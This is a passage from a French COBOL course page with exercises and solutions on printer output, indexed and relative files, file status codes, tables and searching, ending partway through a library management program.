DISPLAY "--------------". DISPLAY "1 AFFICHER TOUT". DISPLAY "2 RECHERCHER NOM (*=STOP)". DISPLAY "3 AJOUTER ENREG". DISPLAY "4 MODIFIER ENREG". DISPLAY "5 IMPRIMER FICHIER". DISPLAY "0 QUITTER". SCR2. DISPLAY (1, 1) ERASE. DISPLAY "MENU MODIFIER". DISPLAY "-------------". DISPLAY "1. NOM". DISPLAY "2. ADRESSE". DISPLAY "3. VILLE". DISPLAY "4. CONSOMMATION". DISPLAY "0. QUITTER". </pre> }} <b>? Rajouter une option d'impression de liste de consommation par client avec numero en bas de page {{Boîte déroulante|titre= :: solution :: |contenu = + rajoutes en ENVIRONMENT et DATA DIVISION. <pre> 8 | | | | | | | | | | | | | | | | ENVIRONMENT DIVISION. INPUT-OUTPUT SECTION. SELECT FIMP ASSIGN TO PRINTER. DATA DIVISION. FILE-SECTION. FD FIMP LABEL RECORD OMITTED; LINAGE IS 25 WITH FOOTING AT 23; LINES TOP 2; LINES BOTTOM 2. 01 LIGNE PIC X(80). WORKING-STORAGE SECTION. 01 TITRE. 02 FILLER PIC X(3); VALUE "NOM". 02 FILLER PIC X(35); VALUE SPACE. 02 FILLER PIC X(12); VALUE "CONSOMMATION". 01 SOUL. 02 FILLER PIC X(3); VALUE ALL "-". 02 FILLER PIC X(35); VALUE SPACE. 02 FILLER PIC X(12). VALUE ALL "-". 01 ENR-IMP. 02 NOMI PIC X(30). 02 FILLER PIC X(7); VALUE SPACE. 02 CONSI PIC ZZZ9.99. 01 BAS-PAGE. 02 FILLER PIC X(30). VALUE SPACE. 02 FILLER PIC X(5). VALUE "PAGE ". 02 NUM PIC 99. 77 BLANCHE PIC X; VALUE SPACE. 77 NP PIC 9. 77 SAUT PIC 99. PROCEDURE DIVISION. *STRUCTURE IMPRESSION. PERFORM D-IMPRESSION. IF EOF = 0 PERFORM IOK ELSE PERFORM IKO. PERFORM F-IMPRESSION. IOK. PERFORM D-IOK. PERFORM IMP UNTIL EOF = 1. PERFORM F-IOK. IMP. PERFORM D-IMP. IF NP = 1 PERFORM NEWPAGE ELSE PERFORM MEMPAGE. PERFORM F-IMP. *TRAITEMENTS D-IMPRESSION. OPEN INPUT FGAZ. MOVE 0 TO EOF. READ FGAZ AT END MOVE 1 TO EOF. D-IOK. OPEN OUTPUT FIMP. MOVE " LISTE DES CLIENTS" TO LIGNE. WRITE LIGNE BEFORE 2. WRITE LIGNE FROM TITRE BEFORE 1. WRITE LIGNE FROM SOUL BEFORE 2. MOVE 0 TO NP. MOVE 1 TO NUM. D-IMP. MOVE CORR ENR-GAZ TO ENR-IMP. MEMPAGE. WRITE LIGNE FROM ENR-IMP BEFORE 1; AT EOP MOVE 1 TO NP. NEWPAGE. WRITE LIGNE FROM BLANCHE BEFORE 1. WRITE LIGNE FROM BAS-PAGE BEFORE PAGE. WRITE LIGNE FROM TITRE BEFORE 1. WRITE LIGNE FROM SOUL BEFORE 2. * WRITE LIGNE FROM ENR-IMP BEFORE 1. MOVE 0 TO NP. ADD 1 TO NUM. F-IMP. READ FGAZ AT END MOVE 1 TO EOF. F-IOK. SUBTRACT LINAGE-COUNTER FROM 25 GIVING SAUT. WRITE LIGNE FROM BAS-PAGE AFTER SAUT. CLOSE FIMP. F-IKO. EXIT. F-IMPRESSION. CLOSE FGAZ. </pre> }} ==fichier indexe== *OPEN (INPUT/ I-O/ OUTPUT) FICHIER - active CP *START FIC KEY IS ((>/ not</ =) nom); INVALID KEY... **seq.: Act et pointe CP pour lecture séq. **rand: <s>START</s> **dyn.: Tous sens. *READ **seq.: READ ... [AT END ...]; INVALID KEY ... **ran.: READ ... KEY IS ...; INVALID KEY ... **dyn.: direct / READ ... KEY IS ...; INVALID KEY ... **dyn.: sequen / READ ... NEXT [AT END ...] *REWRITE ... ; INVALID KEY ... - modif tt sauf CP *DELETE FNOM; INVALID KEY ... - charge CP et eff() ENREG *WRITE ENREG; INVALID KEY ... - I-O (ajouter), OUTPUT (écrire). *CLOSE FNOM ===exercices=== <b> Soit le fichier suivant // (CP-ClePrimaire) est NUM-PROD et (CleAlternative) est DES-PROD <pre> *8 | | | | | | | | | | | | | | | | ENVIRONMENT DIVISION ... INPUT-OUTPUT SECTION. FILE-CONTROL. SELECT FPROD ASIGN TO DISK; ORGANIZATION INDEXED; ACCESS MODE ... RECORD KEY IS NUM-PROD; ALTERNATE RECORD DES-PROD DUPLICATES; FILE STATUS IS STAT-PROD. DATA DIVISION. FILE SECTION. FD FPROD LABEL RECORD STANDARD; VALUE OF FILE-ID IS "FPROD.DAT". 01 ENR-PROD. 02 NUM-PROD. 03 FAM-PROD PIC XX. 03 FILLER PIC X(4). 02 NOM-PROD. 03 DES-PROD PIC X(5). 03 FILLER PIC X(10). 02 INFO PIC XX. WORKING-STORAGE SECTION. 77 STAT-PROD PIC XX. </pre> <b>? 1/ Faire programme pour CREER, REMPLIR, AFFICHER, MODIFIER, EFFACER dans ce fichier *'''acces sequentiel''' :<b>? 2/ En acces sequentiel, afficher tout le fichier {{Boîte déroulante|titre= :: solution :: |contenu = <pre> *8 | | | | | | | | | | | | | | | | PROCEDURE DIVISION. *STRUCTURE PROG. PERFORM D-PROG. PERFORM AFF UNTIL EOF=1. PERFORM F-PROG. *TRAITEMENTS D-PROG. OPEN INPUT FPROD. MOVE 0 TO EOF. READ FPROD AT END MOVE 1 TO EOF. AFF. DISPLAY ENR-PROD. READ FPROD AT END MOVE 1 TO EOF. F-PROD. CLOSE FPROD. </pre> }} :<b>? 3/ Afficher tous les produits dont le nom commence par B {{Boîte déroulante|titre= :: solution :: |contenu = D'abord en dynamique puis s'il est dedans la suite du fichier en sequentiel. <pre> *8 | | | | | | | | | | | | | | | | PROCEDURE DIVISION. *STRUCTURE PROG. PERFORM D-PROG. IF FLAG = 0 PERFORM OK ELSE PERFORM KO. PERFORM F-PROG. OK. PERFORM D-OK. PERFORM AFF UNTIL DES-PROD > "BZZZZ". PERFORM F-OK. *TRAITEMENTS D-PROG. OPEN INPUT FPROD. MOVE "B" TO DES-PROD. START FPROD KEY IS NOT < DES-PROD; INVALID KEY MOVE 1 TO FLAG. D-OK. MOVE 0 TO EOF. READ FPROD. AFF. DISPLAY ENR-PROD. READ FPROD AT END MOVE 1 TO EOF. F-OK. EXIT. KO. DISPLAY "PAS DANS FICHIER". F-PROG. CLOSE FPROD. </pre> }} *'''acces random''' :<b>? 4/ Entrer un numero de produit et l'afficher {{Boîte déroulante|titre= :: solution :: |contenu = <pre> 8 | | | | | | | | | | | | | | | | *STRUCT RECHERCHE. PERFORM I1-PROG. IF FLAG = 0 PERFORM OK ELSE PERFORM KO. PERFORM I2-PROG. *TRAITEMENT I1-PROG. OPEN INPUT FPROD. DISPLAY "NUM ?". ACCEPT NUM-PROD. MOVE 0 TO FLAG. READ FPROD; INVALID KEY MOVE 1 TO FLAG. OK. DISPLAY ENR-PROD. KO. DISPLAY NUM-PROD, " INEXACT". I2-PROG. CLOSE FPROD. </pre> }} *'''acces dynamique''' :<b>? 5/ En dynamic, affichet tous les produits dont le nom est "rivet" {{Boîte déroulante|titre= :: solution :: |contenu = '''Arbre programmatique''' <pre> 0 (PROG) -c01- 1 [I2-] (AKO) (AOK) [I1-] 2 [F-] (AFF) [D-] -c02> CONDITIONS: c01 : {FLAG = 0 / STAT-PROD <> "23"} c02 : DES-PROD <> "rivet" OR {EOF = 1/STAT-PROD = "10"} </pre> '''Traitements''' <pre> 8 | | | | | | | | | | | | | | | | *STRUCTURE ... *TRAITEMENTS I1-PROG. OPEN INPUT FPROD. MOVE "RIVET" TO DES-PROD READ FPROD KEY IS DES-PROD. D-AOK. MOVE 0 TO EOF. AFF. DISPLAY ENR-PROD. READ FPROD NEXT; INVALID KEY MOVE 1 TO EOF. * pas de invalid key avec file status F-AOK. EXIT. AKO. DISPLAY "NON TROUVE". I2-PROG. CLOSE FPROD. </pre> }} :<b>? 6/ Faire les 5 exercices precedents en acces dynamique :<b>? 7/ Afficher le 1er produit sans faire OPEN à partir de n'importe ou :<b>? 8/ Pour tous les produits de la famille K2, si l'info est AA, elle devient XX. Si l'info est BB, on supprime le produit. :<b>? 9/ Afficher tous les produits à partir du produit H51025. (En 2 versions // Toujours le faire / Le faire uniquement s'il est dedans) ==fichier relatif== *SELECT <pre> SELECT FICHIER ORGANISATION RELATIVE; ACCESS MODE [sequential/random/dynamic]; RELATIVE KEY IS [VAR]; STATUS IS [VAR]. </pre> *OPEN <pre> OPEN {INPUT/OUTPUT/I-O} [FICHIER] </pre> *START <pre> START [FNOM] KEY IS {=/>/NOT <} clé-relative; [INVALID KEY] </pre> *READ **sequentiel : READ ... AT END ... **random : READ ... INVALID KEY ... **dynamic : ::: seq : READ ... NEXT AT END ... ::: dir : READ ... INVALID KEY ... *REWRITE [ENREG] INVALID KEY ... ::En random ecrit en fonction de la cle. ::En dynamique ecrit le dernier lu. *DELETE FNOM INVALID KEY ... ::En dynamique efface à la clé. ::En seqentiel efface le dernier lu. *'''WRITE [ENREG]; INVALID KEY ...''' :'''I-O''' ::Pas en séquentiel. ::Random et dynamique, en fonction de clé :'''OUTPUT''' ::Crée dans ordre croissant de la clé. ==files status== *Chaque E/S fichier genere un status. {| border="0" align="center" style="border: 0px solid #999; background-color:#FFFFFF" |FS || I/O ||ORGANISATION ||MODE ||SIGNIFICATION |- align=left |00 ||All ||All || All ||Successful |- align=left |02 ||REWRITE WRITE ||Ind ||All ||Created duplicate alternate key |- align=left |02 ||READ ||Ind ||All ||Detected alternate duplicate key |- align=left |04 ||READ ||All ||All ||Record not size of user's buffer |- align=left |05 ||OPEN ||All ||All ||Optional file not present |- align=left |07 ||CLOSE OPEN ||All ||All ||Invalid file organization or device |- align=left |10 ||READ ||All ||Seq ||No next logical record or option file not present (at end) |- align=left |14 ||READ ||Rel ||All ||Relative record number too large |- align=left |21 ||REWRITE ||Ind ||Seq ||Primary key changed after READ |- align=left |21 ||WRITE ||Ind ||Seq ||Attempted nonascending key value (invalid key) |- align=left |22 ||REWRITE ||Ind ||All ||Duplicate alternate key (invalid key) |- align=left |22 ||WRITE ||Ind, Rel ||Ran ||Duplicate key (invalid key) |- align=left |23 ||DELETE READ REWRITE START ||Ind, Rel ||Ran ||Record not in file; optional file not present (invalid key) |- align=left |24 ||WRITE ||Ind, Rel ||All ||Boundary violation or relative record number too large (invalid key) |- align=left |30 ||All ||All ||All ||All other permanent errors |- align=left |34 ||WRITE ||Seq ||Seq ||Boundary violation |- align=left |35 ||OPEN ||All ||All ||File not found |- align=left |37 ||OPEN ||All ||All ||Inappropriate device type |- align=left |38 ||OPEN ||All ||All ||File previously closed with lock |- align=left |39 ||OPEN ||All ||All ||Conflict of file attributes |- align=left |41 ||OPEN ||All ||All ||File already opened |- align=left |42 ||CLOSE ||All ||All ||File not opened |- align=left |43 ||DELETE REWRITE ||All ||Seq ||No previous READ or START |- align=left |44 ||REWRITE WRITE ||All ||All ||Invalid record size |- align=left |46 ||READ ||All ||Seq ||No valid next record (at end) |- align=left |47 ||READ START ||All ||All ||File not open, or incompatible open mode |- align=left |48 ||WRITE ||All ||All ||File not open, or incompatible open mode |- align=left |49 ||DELETE REWRITE ||All ||All ||File not open, or incompatible open mode |- align=left |90 ||All ||All ||All ||Record locked by another user (record available) |- align=left |91 ||OPEN ||All ||All ||Open is unsuccessful; file locked by another access stream |- align=left |92 ||DELETE READ REWRITE START WRITE ||All ||All ||Record locked by another user (record not available) |- align=left |93 ||UNLOCK ||All ||All ||No current record |- align=left |94 ||UNLOCK ||All ||All ||File not open, or incompatible open mode |- align=left |95 ||OPEN ||All ||All ||No file space on device |} =Tables= Acces par Indice, Index, Search *OCCURS (1 par dimension) :ne va pas en 01 66 77 88 ==Une dimension== <pre> 01 TAB. 02 ELEM PIC 99; OCCURS 10. 88 NUL VALUE 0. *INITIALISATION. 01 TAB; VALUE "0102030405". 02 ELEM PIC 99; OCCURS 5. </pre> :->TAB (5*2bit) ==Multitables== <pre> 01 TAB. 02 FILLER PIC X(9); VALUE "JANVIER". 02 FILLER PIC X(9); VALUE "FEVRIER". 02 FILLER PIC X(9); VALUE "MARS". 02 FILLER PIC X(9); VALUE "AVRIL". 02 FILLER PIC X(9); VALUE "MAI". 02 FILLER PIC X(9); VALUE "JUIN". 02 FILLER PIC X(9); VALUE "JUILLET". 02 FILLER PIC X(9); VALUE "AOUT". 02 FILLER PIC X(9); VALUE "SEPTEMBRE". 02 FILLER PIC X(9); VALUE "OCTOBRE". 02 FILLER PIC X(9); VALUE "NOVEMBRE". 02 FILLER PIC X(9); VALUE "DECEMBRE". 01 TAB-MOIS REDEFINES TAB. 02 MOIS PIC X(9); OCCURS 12 </pre> :->TAB et TAB-MOIS (9*12bit) ==Multidimension== <pre> 01 ECOLE. 02 NOM-ECOLE PIC X(20). 02 CLASSE OCCURS 15. 03 NOM-CLASSE PIC X(10). 03 ELEVES OCCURS 20. 04 NOM-ELEVE PIC X(20). 04 ADR-ELEVE PIC X(30). 03 PROF OCCURS 10. 04 NOM-PROF PIC X(20). 04 COURS OCCURS 5. 05 INTITULE PIC X(15). 05 HEURES PIC 99. </pre> :-> INTITULE(15, 10, 5) // INTITULE du 5e cours de 10e prof de 15e classe :-> COURS(15, 10, 5) // INTITULE+HEURES du 5e cours de 10e prof de 15e classe :-> NOM-PROF(15, 10) // NOM-PROF du 10e prof de 15e classe :-> PROF(15, 10) // 10e PROF de 15e classe :-> ADR-ELEVE(15, 11) // ADR-ELEVE de 11e eleves de 15e classe :-> NOM-CLASSE(3) // NOM-CLASSE de 3e classe ==Recherche dans un tableau== ===indices=== <pre> PERFORM RCH VARYING I FROM 1 BY 1 UNTIL I > 15 AFTER J FROM 1 BY 1 UNTIL J > 20 OR ADR-ELEVE(I, J) = "DANIEL". </pre> {{Boîte déroulante|titre= ? Calculer la ponctuation d'un fichier sequentiel entrant des lignes de 80 caracteres à disposer dans une table ?|contenu = <pre> AP (CHK) -c1-> [F] (ANAL) [D] -c2--> [X] (X) (INC-OCC) [X] (RCH) [D] -c3-> c1: EOF=1 // c2: I:1->80 // c3: J=6 OR CARAC(I)=PONCT(J) les feuilles X ne sont pas instruites </pre> <pre> *8 | | | | | | | | | | | | | | | | SELECT FTEXTE ASSIGN TO DISK. FILE SECTION. FD FTEXTE... 01 LIGNE. 02 CARAC PIC X; OCCURS 80. WORKING STORAGE SECTION. 01 VECT-PONCT; VALUE ".,:;!?". 02 OCC PIC 99; OCCURS 6. 01 VECT-OCC. 02 OCC PIC 99; COMP-0; OCCURS 6. 77 I PIC 99; COMP-0. 77 J PIC 99; COMP-0. 77 EOF PIC 9. 77 OCC-ED PIC Z9. PROCEDURE DIVISION. *structure incomplete *-------------------- ... CHK. PERFORM ANAL VARYING I FROM 1 BY 1 UNTIL I = 80. ANAL. PERFORM D-ANAL. PERFORM RCH VARYING J FROM 1 BY 1 UNTIL J = 6 OR CARAC(I) = PONCT(J). ... ... *traitements *--------------------- INIT-OCC. MOVE 0 TO OCC(J). I1-PROG. OPEN INPUT FTEXTE. MOVE 0 TO EOF. READ FTEXTE; AT END MOVE 1 TO EOF. D-ANAL. MOVE 1 TO J. RCH. ADD 1 TO J. INC-OCC. ADD 1 TO OCC(J). F-TRAITE. READ FTEXTE; AT END MOVE 1 TO EOF. I-PROG. CLOSE FTEXTE. AFF-RES. MOVE OCC(J) TO OCC-ED. DISPLAY "il y a ", OCC-ED, PONCT(J). </pre> }} ===index=== *accelere la recherche sur champs: <pre> 01 TAB. 02 A OCCURS 5; INDEXED BY I1. 03 B OCCURS 7; INDEXED BY I2, I3. 04 C PIC 9; OCCURS 4 INDEXED BY I4 </pre> :-> Chaque tab reçois un index ! :Dans l'exemple suivant si C(4, 2, 3)=7 est le premier 7 trouvé, on aura un arret à ((3*7*4)+(1*2*3)) soit la 90e boucle de I4. <pre> PERFORM RCH VARYING I1 FROM 1 BY 1 UNTIL I1 > 5 AFTER I2 FROM 1 BY 1 UNTIL I2 > 7 AFTER I4 FROM 1 BY 1 UNTIL I4 > 9 OR C=(I1, I2, I4) = 7. </pre> *index permet le calcul et les const-> C(I1+3, I2-7, (4+3)) *l'adressage n'accepte pas la présence d'indice et index en même temps// <s>C(Index,1,indice)</s> *SET index TO {index/ch-index/entier} //initialiser *SET index1, index2 {UP/DOWN} by entier //incrementer *champ index : sert à sauver valeur d'un index <pre> 77 CH-INDEX USAGE INDEX. </pre> {{Boîte déroulante|titre= ? Meme exercice par INDEX ?|contenu = *même AP <pre> *8 | | | | | | | | | | | | | | | | FILE SECTION. FD FTEXTE... 01 LIGNE. 02 CARAC PIC X; OCCURS 80; INDEXED BY IND1. WORKING STORAGE SECTION. 01 VECT-PONCT; VALUE ".,:;!?". 02 OCC PIC 99; OCCURS 6; INDEXED BY IND2. 01 VECT-OCC. 02 OCC PIC 99; COMP-0; OCCURS 6; INDEXED BY IND3. 77 I PIC 99; COMP-0. 77 J PIC 99; COMP-0. 77 EOF PIC 9. 77 OCC-ED PIC Z9. PROCEDURE DIVISION *meme structure ... *traitements *--------------------- INIT-OCC. MOVE 0 TO OCC(IND3). I1-PROG. OPEN INPUT FTEXTE. MOVE 0 TO EOF. READ FTEXTE; AT END MOVE 1 TO EOF. D-ANAL. SET IND2 TO 1. RCH. SET IND2 UP BY 1. INC-OCC. SET IND3 TO IND2. ADD 1 TO OCC(IND3). F-TRAITE. READ FTEXTE; AT END MOVE 1 TO EOF. I-PROG. CLOSE FTEXTE. AFF-RES. SET IND3 TO IND2. MOVE OCC(IND3) TO OCC-ED. DISPLAY "il y a ", OCC-ED, PONCT(IND2). </pre> }} ===search=== :SEARCH nom [VARYING{index/ch-index/ch-entier}] :[AT END ins] :[WHEN cond1 {ins/NEXT SENTENCE}] :[WHEN cond1 {ins/NEXT SENTENCE}] :... :OCCURS entier TIMES :{{ASCENDING/DESCENDING} KEY IS nom1 (nom2)...}... :INDEXED nom1 [,nom2... ===search all=== *Sur champs triés :SEARCH ALL nom1 :[AT END ins] :WHEN {nom-cond/nom2{EQUAL}{expr/const/ident} :[AND{nom-cond/nom2{EQUAL}{expr/const/ident}] :{ins/NEXT SENTENCE} ===inspect=== :INSPECT ident1 TALLYING :{ident2 FOR {{{ALL/LEADING}CHARACHTER}{ident3/literal1}} :[{before/after} INITIAL {ident4/literal2}]}...}... ===string=== :STRING {{ident1/cont1}[ident2/const2]... :DELIMITED {ident1/const1/SIZE}}... :INTO ident4 [WITH POINTER ident5] :[ON OVERFLOW ins] ===unstring=== :UNSTRING identificateur-1 :[DELIMITED BY [ALL] {ident1/constante1},[OR[ALL] {ident1/const1}]] :INTO {ident4([DELIMITER ident5]/[COUNT ident6])} :[WHITH POINTER ident7] :[TALLYING ident8] :[ON OVERFLOW ins] ==Exercices de synthese== <b>? Faire la gestion d'une bibliotheque ?</b> :Partant des deux fichiers FLIVRE et FTHEME, faire :A/ MenuPrincipal ::1/ Ajout new livre (ouvre SousMenu2). ::2/ Ajout nouvel exemplaire ::3/ Modifier un livre ::4/ Recherche de livre par (1/ titre, 2/ autheur, 3/ code, (? 4/ theme)) :B/ SousMenu2 ::>Sort tous les enreg de FTHEME + num (a introduire en A1) <pre> | | | | | | | | | | | | | | | | | ENVIRONMENT DIVISION. ... INPUT-OUTPUT SECTION. FILE-CONTROL. SELECT FLIVRE ASSIGN TO DISK ;ORGANIZATION INDEXED ;ACCESS MODE DYNAMIC ;RECORD KEY IS COD-LIV ;ALTERNATE ... ;STATUS IS SLIV. SELECT FTHEME ASSIGN TO DISK ;ORGANIZATION RELATIVE ;ACCESS MODE ... ;RELATIVE KEY IS ... ;STATUS IS STHEME. DATA DIVISION. FILE SECTION. FD FLIVRE LABEL RECORD STANDARD VALUE OF FILE-ID IS "FLIVRE.DAT". 01 ENR-LIV. 02 CODE PIC X(5). 02 TITRE PIC X(30). 02 AUTHEUR PIC X(15). 02 THEME PIC 99. 02 QTY-LIV PIC 99. 02 QT-RESTE PIC 99; COMP-0. FD FTHEME LABEL RECORD STANDARD VALUE OF FILE-ID IS "FTHEME.DAT". 01 ENR-THE. 02 DESC PIC X(20). 02 RAYON PIC X(8). 02 QT-MAX PIC 99. WORKING STORAGE SECTION. ... </pre> {{Boîte déroulante|titre= :: GESTION DE BIBLIOTHEQUE // PARTIE 1 :: à optimiser|contenu= <pre> | | | | | | | | | | | | | | | | | * GESTION DE BIBLIOTHEQUE // PARTIE 1 *----------------------------------------------- * Microsoft COBOL Compiler * Version 2.20 (C)Copyright Microsoft Corp. 1982-87 *----------------------------------------------- IDENTIFICATION DIVISION. *------------------------ PROGRAM-ID. BIBLIO. AUTHOR. NICK. ENVIRONMENT DIVISION. *--------------------- CONFIGURATION SECTION. SOURCE-COMPUTER. CPU1. OBJECT-COMPUTER. CPU1. SPECIAL-NAMES. * DECIMAL-POINTS IS COMA. CURRENCY SIGN IS 'E'. INPUT-OUTPUT SECTION. FILE-CONTROL. SELECT FLIVRE ASSIGN TO DISK ORGANIZATION INDEXED; ACCESS MODE DYNAMIC; RECORD KEY IS COD OF ENR-LIV; ALTERNATE RECORD TITRE OF ENR-LIV; ALTERNATE RECORD AUTHEUR OF ENR-LIV DUPLICATES; ALTERNATE RECORD THEME OF ENR-TMP DUPLICATES; STATUS SLIV. SELECT FTHEME ASSIGN TO DISK ORGANIZATION RELATIVE; ACCESS MODE DYNAMIC; RELATIVE CLE-THE; STATUS STHE. DATA DIVISION. *-------------- FILE SECTION. FD FLIVRE LABEL RECORD STANDARD; VALUE OF FILE-ID IS "FLIVRE.DAT". 01 ENR-LIV. 02 COD PIC X(5). 02 TITRE PIC X(30). 02 AUTHEUR PIC X(15). 02 THEME PIC 99. 02 QTY-LIV PIC 99. 02 QT-RESTE PIC 99; COMP-0. 01 ENR-TMP REDEFINES ENR-LIV. 02 COD PIC X(5). 02 TITRE PIC X(30). 02 AUTHEUR PIC X(15). 02 THEME PIC XX. 02 QTY-LIV PIC XX. 02 QT-RESTE PIC 99. FD FTHEME LABEL RECORD STANDARD; VALUE OF FILE-ID IS "FTHEME.DAT". 01 ENR-THE. 02 DESC PIC X(20). 02 RAYON PIC X(8). 02 QT-MAX PIC 99. WORKING-STORAGE SECTION. 77 TXT PIC X(30). 77 TMPX PIC X(5). 77 SLIV PIC XX. 77 STHE PIC XX. 77 EOF PIC 9. 77 CPT PIC 999. 77 C PIC 99. 77 CLE-THE PIC 999. 77 FLG PIC 9. 88 OK VALUE 1. 88 KO VALUE 0. 77 DSC-TMP PIC X(20). PROCEDURE DIVISION. *------------------- *MAIN STRUCTURE--------------------------------- INIT. MOVE 0 TO C. DISPLAY "GESTION DE BIBLIOTHEQUE". DISPLAY "-----------------------". PERFORM PROG UNTIL C = 4. STOP RUN. PROG. PERFORM DEBUT-PROG. PERFORM CHK UNTIL SLIV = "00" AND STHE = "00". PERFORM I1-PROG. PERFORM CHK2 UNTIL C > 0 AND C NOT > 4. PERFORM I2-PROG. IF C = 1 PERFORM GES ELSE IF C = 2 PERFORM CLN ELSE IF C = 3 PERFORM PRE ELSE PERFORM ERR. PERFORM FIN-PROG. *TRAITEMENTS------------------------------------ DEBUT-PROG. OPEN INPUT FLIVRE. OPEN INPUT FTHEME. CLOSE FLIVRE. CLOSE FTHEME. CHK. OPEN OUTPUT FLIVRE. OPEN OUTPUT FTHEME. CLOSE FLIVRE, FTHEME. I1-PROG. PERFORM MENU1. ACCEPT C. CHK2. ACCEPT C. I2-PROG. EXIT. FIN-PROG. EXIT. *GESTION DES LIVRES----------------------------- GES. PERFORM D-GES. PERFORM GES1 UNTIL C = 5. D-GES. MOVE 0 TO C, FLG. GES1. PERFORM D-GES1. IF C = 1 PERFORM ANL ELSE IF C = 2 PERFORM ANE ELSE IF C = 3 PERFORM MOD ELSE IF C = 4 PERFORM RCH. */---------- D-GES1. PERFORM MENU2. ACCEPT C. MOVE 0 TO FLG. */ajout nouveau livre--------------------------- * * (ANL) * -OK-> * * [X] (ANL1) [D-] * -OK--> *.anl1 * [F-] (CHK5) [I4-] (CHK4) [I3-] (CHK3) [I2-] (CHK1) [I1-] (THE) [D-] * -c4--> -c3--> -c2--> -c1--> -OK-> * *c1 : C POSITIVE AND C NOT > CPT / c2 : SLIV ="23" / c3 : SLIV="23" / c4 : C POSITIVE *----------------------------------------------- ANL. PERFORM D-ANL. PERFORM ANL1 UNTIL OK. D-ANL. MOVE 0 TO FLG. ANL1. PERFORM D-ANL1. PERFORM THE UNTIL OK. PERFORM I1-ANL1. PERFORM CHK1 UNTIL C POSITIVE AND C NOT > CPT. PERFORM I2-ANL1. PERFORM CHK3 UNTIL SLIV = "23". PERFORM I3-ANL1. PERFORM CHK4 UNTIL SLIV = "23". PERFORM I4-ANL1. PERFORM CHK5 UNTIL C POSITIVE. PERFORM F-ANL1. *//---------- D-ANL1. MOVE 0 TO FLG. I1-ANL1. DISPLAY "THEME ?". ACCEPT C. CHK1. IF C = 0 PERFORM NTH ELSE PERFORM THE. PERFORM F-CHK1. F-CHK1. PERFORM THE. DISPLAY "CHOIX THEME : ". ACCEPT C. I2-ANL1. MOVE C TO THEME OF ENR-TMP. OPEN I-O FLIVRE. DISPLAY "CODE ?". ACCEPT COD OF ENR-LIV. READ FLIVRE. CHK3. ACCEPT COD OF ENR-LIV. READ FLIVRE. I3-ANL1. MOVE COD OF ENR-LIV TO COD OF ENR-TMP. DISPLAY "TITRE ?". ACCEPT TITRE OF ENR-TMP. MOVE TITRE OF ENR-TMP TO TITRE OF ENR-LIV. READ FLIVRE KEY IS TITRE OF ENR-LIV. CHK4. DISPLAY "!", COD OF ENR-LIV, " - ", TITRE OF ENR-LIV, "!". DISPLAY "NOUVEAU TITRE ?". ACCEPT TITRE OF ENR-TMP. MOVE TITRE OF ENR-TMP TO TITRE OF ENR-LIV. READ FLIVRE KEY IS TITRE OF ENR-LIV. I4-ANL1. DISPLAY "AUTHEUR ?". ACCEPT AUTHEUR OF ENR-TMP. DISPLAY "QUANTITE ?". ACCEPT C. CHK5. ACCEPT C. F-ANL1. MOVE C TO QTY-LIV OF ENR-TMP, QT-RESTE OF ENR-TMP. MOVE CORR ENR-TMP TO ENR-LIV. WRITE ENR-LIV. CLOSE FLIVRE. MOVE 1 TO FLG. *----------------------------------------------- */ajout nouvel exemplaire----------------------- * * (ANE) * * [X] (ANE1) [X] * -OK--> * *.ane1 -c3-- -c2-- -c1-- * [X] (X) (AN1) [X] (RCH2)(RCH1) [D-] * *.an1 * [F-] (CH9) [D-] * -c4-> * *c1 : C=1 / c2 : C=2 / c3 : C>0 AND C<3 / c4 : C POSITIVE */----------- ANE. PERFORM ANE1 UNTIL OK. ANE1. PERFORM D-ANE1. IF C = 1 PERFORM RCH1 ELSE IF C = 2 PERFORM RCH2 ELSE DISPLAY "SEUL CHOIX : 1 OU 2". IF C POSITIVE AND C < 3 PERFORM AN1. AN1. PERFORM D-AN1. PERFORM CH9 UNTIL C POSITIVE. PERFORM F-AN1. *//---------- D-ANE1. OPEN I-O FLIVRE. PERFORM MENU3. ACCEPT C. D-AN1. DISPLAY "NOMBRE D'EXEMPLAIRE(S) A AJOUTER ?". ACCEPT C. CH9. ACCEPT C. F-AN1. ADD C TO QTY-LIV OF ENR-LIV, QT-RESTE OF ENR-LIV. REWRITE ENR-LIV. CLOSE FLIVRE. MOVE 1 TO FLG. *----------------------------------------------- */modification des livre----------------------- * * (MOD) * -OK-> * * .mod -c5- -c4- -c3- -c2- -c1- * [F-] (M3) (M2) (M1) [X] (CHA) [I-] (RCH2) (RCH1) [D-] * -c3-> * * .m1 .m3 * [F-] (M11) [D-] [F-] (M31) [D-] * -c6-> -c7-> * *c1 : C=1 / c2 : C=2 / c3 : C POSITIVE AND C NOT > 3 *c3 : C=1 / c4 : C=2 / c5 : C=3 / c6 : SLIV = "23" *c7 : C POSITIVE AND C NOT > CPT *----------------------------------------------- MOD. PERFORM D-MOD. IF C=1 PERFORM RCH1 ELSE IF C=2 PERFORM RCH2. PERFORM I-MOD. PERFORM CHA UNTIL C POSITIVE AND C NOT > 3. IF C=1 PERFORM M1 ELSE IF C=2 PERFORM M2 ELSE IF C=3 PERFORM M3. PERFORM F-MOD. M1. PERFORM D-M1. PERFORM M11 UNTIL SLIV = "23". PERFORM F-M1. M3. PERFORM D-M3. PERFORM M31 UNTIL C POSITIVE AND C NOT > CPT. PERFORM F-M3. *//---------- D-MOD. PERFORM MENU3. DISPLAY "CHOIX 1/2 ?". ACCEPT C. OPEN I-O FLIVRE. I-MOD. DISPLAY "MODIF 1/ TITRE 2/ AUTHEUR 3/ THEME ?". ACCEPT C. CHA. ACCEPT C. D-M1. DISPLAY "NEW TITRE ?". ACCEPT TXT. MOVE TXT TO TITRE OF ENR-LIV. READ FLIVRE KEY IS TITRE OF ENR-LIV. M11. DISPLAY "TITRE EXISTANT: ", TITRE OF ENR-LIV. ACCEPT TXT. MOVE TXT TO TITRE OF ENR-LIV. READ FLIVRE KEY IS TITRE OF ENR-LIV. F-M1. MOVE TMPX TO COD OF ENR-LIV. READ FLIVRE. D-M3. PERFORM THE. DISPLAY "THEME ?". ACCEPT C. M31. ACCEPT C. F-M3. MOVE C TO THEME OF ENR-TMP. M2. DISPLAY "NEW AUTHEUR ?". ACCEPT AUTHEUR OF ENR-TMP. F-MOD. MOVE TXT TO TITRE OF ENR-TMP. DISPLAY "MODIF : ", ENR-TMP. MOVE ENR-TMP TO ENR-LIV. REWRITE ENR-LIV. CLOSE FLIVRE. STOP "PAUSE". *----------------------------------------------- */recherche de livre *-------------------------------------------- * (RCH) * -c1-> *[X] (RCH4) (RCH3) (RCH2) (RCH1) (RCH0) [D-] *c1: ok *-------------------------------------------- RCH. PERFORM D-RCH. IF C = 0 PERFORM RCH0 ELSE IF C 